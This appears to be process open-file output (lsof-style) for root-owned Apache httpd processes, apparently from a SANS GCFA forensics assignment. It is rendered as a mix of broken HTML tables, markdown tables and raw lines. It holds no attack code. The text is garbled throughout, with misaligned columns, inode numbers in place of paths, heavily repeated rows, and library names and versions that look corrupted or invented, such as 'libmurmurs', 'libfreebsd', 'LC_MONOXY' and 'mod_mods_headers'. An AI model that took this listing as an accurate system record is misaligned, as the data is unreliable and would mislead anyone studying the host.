<td>207008</td>
<td>/lib/libssl.so.0.9.6b</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,5</td>
<td>68925</td>
<td>/lib/libressl-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>153026</td>
<td>/lib/libpng.so.4.0.3</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>290511</td>
<td>/lib/libmurmurs.so.5.2</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>215482</td>
<td>/lib/libxml2.so.2.4.19</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>66646</td>
<td>/lib/libz.so.1.0.2</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>189626</td>
<td>/lib/libbthread.so.2.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>295833</td>
<td>/lib/libfreebsd.so.6.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>140418</td>
<td>/lib/libjpeg.so.62.0.0</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>79725</td>
<td>440048</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>42069</td>
<td>425002</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>44992</td>
<td>63499</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,5</td>
<td>45415</td>
<td>63499</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>2457</td>
<td>130317</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>426425</td>
<td>229530</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>427671</td>
<td>440053</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>191615</td>
<td>65351</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>48583</td>
<td>65345</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,5</td>
<td>46117</td>
<td>63531</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,5</td>
<td>1401027</td>
<td>73730</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>0r CHR</td>
<td>1,3</td>
<td>9637</td>
<td>dev-null</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>1w CHR</td>
<td>1,3</td>
<td>9637</td>
<td>dev-null</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>2w REG</td>
<td>3,6</td>
<td>1729</td>
<td>44202</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>3u REG</td>
<td>3,6</td>
<td>0</td>
<td>38183</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>4u REG</td>
<td>3,5</td>
<td>0</td>
<td>26691</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>5u REG</td>
<td>3,5</td>
<td>8192</td>
<td>26693</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>15w REG</td>
<td>3,6</td>
<td>1729</td>
<td>44202</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>16u IPv4</td>
<td>361623</td>
<td>TCP *:https (LISTEN)</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>17u IPv4</td>
<td>361624</td>
<td>TCP *:http (LISTEN)</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>18w REG</td>
<td>3,6</td>
<td>265</td>
<td>44201</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>19w REG</td>
<td>3,6</td>
<td>0</td>
<td>44198</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>cwd DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>rtd DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>txt REG</td>
<td>3,5</td>
<td>290169</td>
<td>131802</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,5</td>
<td>89547</td>
<td>63490</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>9883</td>
<td>229527</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>8301</td>
<td>229506</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>17638</td>
<td>229514</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>7438</td>
<td>229513</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>8530</td>
<td>229515</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>8274</td>
<td>229505</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>371</td>
<td>130311</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,5</td>
<td>101902</td>
<td>73734   /lib/i686/libpthread-0.9.so</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,5</td>
<td>173359</td>
<td>73732   /lib/i686/libcrypto-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,5</td>
<td>23575</td>
<td>63501   /lib/libssl.so.0.9.6</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>30282</td>
<td>65273   /lib/libpng.so.2.0.0</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,5</td>
<td>655224</td>
<td>65343   /lib/libbthread.so.3.3</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>19662</td>
<td>66292   /lib/libmm.so.11.0.23</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>141735</td>
<td>63800   /lib/libxml2.so.0.1.0</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,5</td>
<td>12102</td>
<td>63503   /lib/libxml2.so.2.2.5</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>14929</td>
<td>229516</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>27415</td>
<td>229519</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>18365</td>
<td>229523</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>19959</td>
<td>229512</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>35886</td>
<td>229511</td>
</tr>
</tbody>
</table>
httpd 10611 root mem REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 10611 root mem REG 3,2 14940 229503 /usr/lib/apache/mod_cgi.so
httpd 10611 root mem REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
httpd 10611 root mem REG 3,2 15974 229510 /usr/lib/apache/mod_actions.so
httpd 10611 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 10611 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 10611 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 10611 root mem REG 3,2 1453198 425001 /usr/lib/php4/imap.so
httpd 10611 root mem REG 3,2 10617 229495 /usr/lib/apache/mod_alias.so
httpd 10611 root mem REG 3,2 53189 229520 /usr/lib/apache/mod_rewrite.so
httpd 10611 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 10611 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 10611 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_db.so
httpd 10611 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 10611 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_mods_headers.so
httpd 10611 root mem REG 3,2 92407 440046 /usr/kerberos/lib/libgssapi_krb5.so.2.2
httpd 10611 root mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
httpd 10611 root mem REG 3,2 1561021 229551 /usr/lib/apache/libphp4.so
httpd 10611 root mem REG 3,5 35340 63567 /lib/libpam.so.0.75
httpd 10611 root mem REG 3,2 28138 66033 /usr/lib/libltdl.so.3.1.0
httpd 10611 root mem REG 3,2 5300 66039 /usr/lib/libpspell.so.4.0.3
httpd 10611 root mem REG 3,2 290511 65311 /usr/lib/libncurses.so.5.2
httpd 10611 root mem REG 3,2 215482 65384 /usr/lib/libttf.so.2.3.0
httpd 10611 root mem REG 3,2 295833 65382 /usr/lib/libfreetype.so.6.3.0
httpd 10611 root mem REG 3,2 140418 65389 /usr/lib/libjpeg.so.62.0.0
httpd 10611 root mem REG 3,2 79725 440048 /usr/kerberos/lib/libk5crypto.so.3.0
httpd 10611 root mem REG 3,2 42069 425002 /usr/lib/php/ldap.so
httpd 10611 root mem REG 3,2 44992 65349 /usr/lib/libgmp.so.3.2.1
httpd 10611 root mem REG 3,2 290511 65331 /usr/lib/libmhash.so.0.5.2
httpd 10611 root mem REG 3,2 215482 65386 /usr/lib/libgmp.so.3.2.1
httpd 10611 root mem REG 3,2 196866 66287 /usr/lib/libgmp.so.1.8.4
httpd 10611 root mem REG 3,2 717774 65410 /usr/lib/libxml2.so.2.4.19
httpd 10611 root mem REG 3,2 66646 65263 /usr/lib/libxxv2.so.1.0.2
httpd 10611 root mem REG 3,2 189626 65384 /usr/lib/libtkttf.so.2.3.0
httpd 10611 root mem REG 3,2 295833 65382 /usr/lib/libfreetype.so.6.3.0
httpd 10611 root mem REG 3,2 140418 65389 /usr/lib/libjpeg.so.62.0.0
httpd 10611 root mem REG 3,2 79725 440048 /usr/kerberos/lib/libk5crypto.so.3.0
httpd 10611 root mem REG 3,2 42069 425002 /usr/lib/php/lidap.so
httpd 10611 root mem REG 3,2 44992 65349 /usr/lib/libker.so.2.0.15
httpd 10611 root mem REG 3,2 45415 65253 /lib/libms_files-2.2.5.so
httpd 10611 root mem REG 3,2 2457 130317
httpd 10611 root mem REG 3,2 60 130322
httpd 10611 root mem REG 3,2 92407 440046 /usr/kerberos/lib/libgssapi_krb5.so.2.2
```
httpd 10613 root mem REG 3,2 153026 66042 /usr/lib/libcspell.so.4.0.0.3
httpd 10613 root mem REG 3,2 290511 65311 /usr/lib/libcurses.so.0.5.2
httpd 10613 root mem REG 3,2 215482 65386 /usr/lib/libgmp.so.3.2.1
httpd 10613 root mem REG 3,2 196866 66287 /usr/lib/libgssapi.so.1.8.4
httpd 10613 root mem REG 3,2 717774 65410 /usr/lib/libicu.so.2.4.19
httpd 10613 root mem REG 3,2 66646 65263 /usr/lib/libz.so.2.0.1.2
httpd 10613 root mem REG 3,2 189626 65384 /usr/lib/libttf.so.2.3.0
httpd 10613 root mem REG 3,2 295833 65382 /usr/lib/libfreeetype.so.6.3.0
httpd 10613 root mem REG 3,2 140418 65389 /usr/lib/libjpeg.so.62.0.0
httpd 10613 root mem REG 3,2 79725 440048

//usr/lib/kerberos/libkrb5crypt.so.3.0
httpd 10613 root mem REG 3,2 42069 425002 /usr/lib/php4/ldap.so
httpd 10613 root mem REG 3,2 44992 65349 /usr/lib/libc.so.6
httpd 10613 root mem REG 3,2 45415 65325 /usr/lib/libm.so.6
httpd 10613 root mem REG 3,5 2457 130317

//usr/lib/locale/en_US.iso885915/LC_TIME
httpd 10613 root mem REG 3,2 60 130322

httpd 10613 root mem REG 3,2 173680 130324

httpd 10613 root mem REG 3,2 1264225 229530 /usr/lib/apache/libperl.so
httpd 10613 root mem REG 3,2 427611 440533 /usr/lib/kerberos/libkrb5.so.3.1
httpd 10613 root mem REG 3,2 191615 65351 /usr/lib/libldap.so.2.0.15
httpd 10613 root mem REG 3,2 48583 65345 /usr/lib/libc.so.6
httpd 10613 root mem REG 3,5 46117 65351 /usr/lib/libm.so.6
httpd 10613 root mem REG 3,5 1401027 73730 /lib/libc.so.6
httpd 10613 root mem REG 3,5 121024 73730 /lib/libm.so.6
httpd 10613 root mem REG 3,3 1729 6937 /dev/null
```

<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Group</th>
<th>Flags</th>
<th>Access</th>
<th>Size</th>
<th>Hed Size</th>
<th>Path Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10034</td>
<td>229493</td>
<td>/usr/lib/apache/mod_access.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>11985</td>
<td>229497</td>
<td>/usr/lib/apache/mod_auth.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8486</td>
<td>229498</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9304</td>
<td>229499</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9800</td>
<td>229508</td>
<td>/usr/lib/apache/mod_expires.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
<td>229509</td>
<td>/usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
<td>229521</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>92407</td>
<td>440046</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>11174</td>
<td>63541</td>
<td>/lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>122952</td>
<td>229497</td>
<td>/usr/lib/apache/libssl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8486</td>
<td>229498</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9304</td>
<td>229499</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9800</td>
<td>229508</td>
<td>/usr/lib/apache/mod_expires.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
<td>229509</td>
<td>/usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
<td>229521</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>92407</td>
<td>440046</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>11174</td>
<td>63541</td>
<td>/lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>122952</td>
<td>229497</td>
<td>/usr/lib/apache/libssl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8486</td>
<td>229498</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9304</td>
<td>229499</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9800</td>
<td>229508</td>
<td>/usr/lib/apache/mod_expires.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
<td>229509</td>
<td>/usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
<td>229521</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>92407</td>
<td>440046</td>
<td></td>
</tr>
</tbody>
</table>

Kevin Miller - Sans GCFA Assignment - v1.4  Page 151
Kevin Miller - Sans GCFA Assignment – v1.4

httpd 19366 root mem REG 3,2 292 130313
/usr/lib/locale/en_US.iso885915/LC_MONOXY
httpd 19366 root mem REG 3,2 22592 130323
/usr/lib/locale/en_US.iso885915/LC_COLLATE
httpd 19366 root mem REG 3,2 89424 63507 /lib/libssl-2.2.5.so
httpd 19366 root mem REG 3,2 1561021 229551 /usr/lib/apache/libphp4.so
httpd 19366 root mem REG 3,2 3215051 229551 /usr/lib/apache/libperl.so
httpd 19366 root mem REG 3,2 427611 440053 /usr/lib/libstdc++.so.3.0
httpd 19366 root mem REG 3,2 79725 440048 /usr/lib/libsasl.so.7.1.8
httpd 19366 root mem REG 3,2 101902 73734 /lib/i686/libpthread.so.0.9.so
httpd 19366 root mem REG 3,2 191615 65351 /usr/lib/libldap.so.2.0.15
httpd 19366 root mem REG 3,2 215482 65386 /usr/lib/libxml2.so.2.4.19
httpd 19366 root mem REG 3,2 246642 65304 /usr/lib/libstdc++-6-3-1.so.0.1.0
httpd 19366 root mem REG 3,2 276215 65410 /usr/lib/libxml2.so.2.4.19
httpd 19366 root mem REG 3,2 34662 73732 /usr/lib/libxml2.so.2.4.19
httpd 19366 root mem REG 3,2 35340 63567 /lib/libpam.so.0.75
httpd 19366 root mem REG 3,2 52000 66033 /usr/lib/libstdc++-6-3-1.so.0.1.0
httpd 19366 root mem REG 3,2 50000 65304 /usr/lib/libstdc++-6-3-1.so.0.1.0
httpd 19366 root mem REG 3,2 59778 65358 /usr/lib/libz.so.1.1.3
httpd 19366 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.1.0.12
httpd 19366 root mem REG 3,2 146819 66089 /usr/lib/libcurlr.so.0.2.0
httpd 19366 root mem REG 3,2 295011 65311 /usr/lib/libcurses.so.0.5.2
httpd 19366 root mem REG 3,2 371 130311
httpd 19366 root mem REG 3,2 426442 65304 /usr/lib/libstdc++-6-3-1.so.0.1.0
httpd 19366 root mem REG 3,2 8274 229505 /usr/lib/apache/mod_dir.so
httpd 19366 root mem REG 3,2 8530 229515 /usr/lib/apache/mod_log_referer.so
httpd 19366 root mem REG 3,2 7438 229513 /usr/lib/apache/mod_log_config.so
httpd 19366 root mem REG 3,2 7438 229513 /usr/lib/apache/mod_log_config.so
httpd 19366 root mem REG 3,2 9883 229527 /usr/lib/apache/mod_vhost_alias.so
httpd 19366 root mem REG 3,2 101902 73734 /lib/i686/libpthread.so.0.9.so
httpd 19366 root mem REG 3,2 17638 229514 /usr/lib/apache/mod_log_config.so
httpd 19366 root mem REG 3,2 23575 65301 /usr/lib/libcrypto.so.2.0.0
httpd 19366 root mem REG 3,2 30282 65273 /usr/lib/libgd.so.1.8.4
httpd 19366 root mem REG 3,2 426442 65304 /usr/lib/libstdc++-6-3-1.so.0.1.0
httpd 19366 root mem REG 3,2 8274 229505 /usr/lib/apache/mod_dir.so
httpd 19366 root mem REG 3,2 8530 229515 /usr/lib/apache/mod_log_referer.so
httpd 19366 root mem REG 3,2 7438 229513 /usr/lib/apache/mod_log_config.so
<table>
<thead>
<tr>
<th>Package</th>
<th>Version</th>
<th>Flags</th>
<th>Size (bytes)</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>55224</td>
<td>/lib/db-3.3.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>19662</td>
<td>/lib/sm.so.11.0.0.23</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>141735</td>
<td>/lib/bzip.so.0.1.0</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>12102</td>
<td>/lib/db-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>14929</td>
<td>/lib/apache/mod_mime.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>27415</td>
<td>/lib/apache/mod_negotiation.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>18365</td>
<td>/lib/apache/mod_status.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>19959</td>
<td>/lib/apache/mod_info.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>35886</td>
<td>/lib/apache/mod_include.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>27836</td>
<td>/lib/apache/mod_autoindex.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>14940</td>
<td>/lib/apache/mod_cgi.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>6924</td>
<td>/lib/apache/mod_asis.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>15974</td>
<td>/lib/apache/mod_imap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>8541</td>
<td>/lib/apache/mod_actions.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>8770</td>
<td>/lib/apache/mod_userdir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>10167</td>
<td>/lib/apache/mod_alias.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>53189</td>
<td>/lib/apache/mod_rewrite.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>10034</td>
<td>/lib/apache/mod_access.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>11985</td>
<td>/lib/apache/mod_auth.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>8486</td>
<td>/lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>9304</td>
<td>/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>9900</td>
<td>/lib/apache/mod_expires.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>8261</td>
<td>/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>10176</td>
<td>/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>92407</td>
<td>400406</td>
</tr>
<tr>
<td>/usr/kerberos/lib/libcrypto.so</td>
<td>2.2.5</td>
<td>REG</td>
<td>11174</td>
<td>63541 /lib/butil-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>122952</td>
<td>/lib/apache/libdev.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>210094</td>
<td>/lib/apache/libssl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>1453198</td>
<td>/lib/php/imap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>8621</td>
<td>440043 /lib/kerberos/lib/libcom_err.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>20666</td>
<td>114263 /lib/gconf/gconf-modules.cache</td>
</tr>
<tr>
<td>httpd</td>
<td>1.9.6</td>
<td>REG</td>
<td>29</td>
<td>130312</td>
</tr>
</tbody>
</table>
| /usr/lib/locale/en_US.iso88595/LC_MEASUREMENT | | | | /
| httpd                        | 1.9.6     | REG   | 65           | 130316                        |
| /usr/lib/locale/en_US.iso88595/LC_TELEPHONE | | | | /
| httpd                        | 1.9.6     | REG   | 161          | 130310                        |
| /usr/lib/locale/en_US.iso88595/LC_ADDRESS | | | | /
| httpd                        | 1.9.6     | REG   | 83           | 130314                        |
| /usr/lib/locale/en_US.iso88595/LC_NAME | | | | /
| httpd                        | 1.9.6     | REG   | 40           | 130315                        |
| /usr/lib/locale/en_US.iso88595/LC_PAPER | | | | /
| httpd                        | 1.9.6     | REG   | 58           | 179360                        |
| /usr/lib/locale/en_US.iso88595/LC_MESSAGES/ SYS_LC_MESSAGES | | | | /
| httpd                        | 1.9.6     | REG   | 292          | 130313                        |
| /usr/lib/locale/en_US.iso88595/LC_MONETARY | | | | /
| httpd                        | 1.9.6     | REG   | 22592        | 130323                        |
| /usr/lib/locale/en_US.iso88595/LC_COLLATE | | | | /
| httpd                        | 1.9.6     | REG   | 35           | 89424 /lib/bnsl-2.2.5.so     |
| httpd                        | 1.9.6     | REG   | 1561021      | /lib/apache/libbph4.so        |
| httpd                        | 1.9.6     | REG   | 35           | 35340 /lib/bmp.so.0.75        |
| httpd                        | 1.9.6     | REG   | 28138        | 66033 /lib/libstdc.so.3.1.0  |
| httpd                        | 1.9.6     | REG   | 5300         | 66039 /lib/libspelling-modules.so.0.1.0.1|
| httpd                        | 1.9.6     | REG   | 426442       | 65304 /lib/libstdc++-3-3-libc6.2.2-2.10.0.so |
| httpd                        | 1.9.6     | REG   | 131560       | 65396 /lib/libpng.so.2.1.0.12|
| httpd                        | 1.9.6     | REG   | 59778        | 65358 /lib/libz.so.1.1.3      |
| httpd                        | 1.9.6     | REG   | 146819       | 66089 /lib/libcurl.so.2.0.2   |
| httpd                        | 1.9.6     | REG   | 924879       | 65362 /lib/libcrypto.so.0.9.6b|
| httpd                        | 1.9.6     | REG   | 207008       | 65363 /lib/libssl.so.0.9.6b  |
| httpd                        | 1.9.6     | REG   | 68925        | 65355 /lib/libresolv-2.2.5.so |
| httpd                        | 1.9.6     | REG   | 153026       | 66042 /lib/libspelling.so.4.0.3|
| httpd                        | 1.9.6     | REG   | 290511       | 65311 /lib/libncurses.so.5.2  |
| httpd                        | 1.9.6     | REG   | 215482       | 65386 /lib/libgmp.so.3.2.1   |
| httpd                        | 1.9.6     | REG   | 196866       | 66287 /lib/libgd.so.1.8.4     |
| httpd                        | 1.9.6     | REG   | 717774       | 65410 /lib/libxml2.so.2.4.19  |
| httpd                        | 1.9.6     | REG   | 66646        | 65263 /lib/libxml2.so.1.0.2   |
| httpd                        | 1.9.6     | REG   | 189626       | 65384 /lib/libtiff.so.2.3.0   |
| httpd                        | 1.9.6     | REG   | 295833       | 65382 /lib/libfreetype.so.6.3.0|
